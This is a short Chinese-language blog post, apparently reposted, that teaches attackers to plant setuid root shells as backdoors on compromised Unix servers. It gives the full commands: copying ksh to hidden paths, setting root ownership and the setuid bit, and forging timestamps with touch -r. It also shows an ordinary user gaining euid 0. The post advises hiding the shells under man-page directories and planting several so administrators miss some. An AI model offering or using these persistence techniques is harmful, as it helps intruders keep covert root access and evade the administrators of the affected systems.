suid shell
在 /tmp 或者其他的目錄下放置 suid shell。以后只要你運行這個,就會輕易得到根用戶權限。
#cp /bin/ksh /tmp/.sh
#chown root:root /tmp/.sh
#chmod +s /tmp/.sh
當你運行/tmp/.sh時,
這里我們用ksh shell是因為ksh 可以suid.換成其他的shell也許可能不行,具體看各個主機的情況而定.一般我們使用ksh.我們使用的溢出用來獲得root權限的,也一般是溢出后執行/bin/ksh.
$id
uid=1002(oracle) gid=1(other)
$/tmp/.sh
#
#id
uid=1002(oracle) gid=1(other) euid=0(root) egid=0(root)
我們又是root了.
當然,為了更加隱蔽,我們不能把suid shell 放在/tmp
因為它是很容易被發現的.
我們應該放在深層的目錄里面.
比如:
/usr/X11/include/X11/
或者
/usr/lib/
等等
通常我做的是:
# mkdir /usr/lib/lib/ mkdir /usr/lib/lib/...
# cp /bin/ksh /usr/lib/lib/.../lib
# chown root:sys /usr/lib/lib/.../lib
# chmod 4555 /usr/lib/lib/.../lib
# touch -r /bin/ksh /usr/lib/lib/.../lib
一個簡單的suid shell安放好了.
不過,大家不要學我,我們要放在最隱蔽的地方.我新建目錄的隱藏效果不是最好的.
我們必須利用現有的目錄來安放,并且這個目錄要有很多其它的文件做掩護.
大家不防試試/usr/man/下的目錄.
很少管理員會檢查這里的.
比如:
/usr/man/man1/
/usr/man/manl/
等.
比如:
# cp /bin/ksh /usr/man/man1/ja.1
:)當然具體要看你自己琢磨一下了.我敢說不難,最好多放置幾個suid shell 在不同的目錄.這樣即使管理員發現了一個,也還有另外一個.:)
?
轉載于:https://blog.51cto.com/linkboy/300416
總結
以上是生活随笔為你收集整理的suid shell的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Windows server 2003
- 下一篇: FC3服务器配置一条龙